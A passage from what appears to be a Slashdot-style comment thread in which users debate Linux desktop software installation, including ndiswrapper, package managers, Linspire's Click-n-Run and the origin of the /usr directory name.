It tries to use the Windows driver under Linux. Works perfectly for me. Good luck!
http://ndiswrapper.sourceforge.net/

Re:Why all the fuss?

[Walles]

What if I want to install Gimp in /opt/gimp instead of where ever the package maintainer decided to put

I'm not saying this isn't a good idea, but I really can't see the point. Why would you want to fight the package manager this way? Why is it so important to you to put apps in non-standard places?

Re:Drag-n-drop like OSX

[minus_273]

when we talk about desktop, we mean for people who do not have an interest in those things. That is what i mean at least. I can tell you this, synaptic would scare eh shit out of most of my non techie friends.

Seems like Linspire CNR (Click-n-run) envy

[Anonymous Coward]

I guess this means that Robertson at Linspire has been on the right track for the last 3 years with making it one click easy to install software with mime types, desktop icons, menu items, etc. since CNR does all this and does it VERY well. Nobody matches their library or effectiveness.

Doing this across linux versions is a fools errand. If Mandrake can't even do it JUST for Mandrake (and the same is true for Suse and Redhat), then doing it across all the OSes is just a suicide mission.

doubtful anyone will see it...

[discogravy]

you're WASTEing your time hoping for that.

Re:Why all the fuss?

[Anonymous Coward]

It used to mean "user". Your supposed acronym was retrofitted on after the fact. Early Unix systems had two major root level directories /sys and /usr. The /sys director was the kernel and /usr was the non-kernel programs (things that get executed in what is sometimes called 'user-space')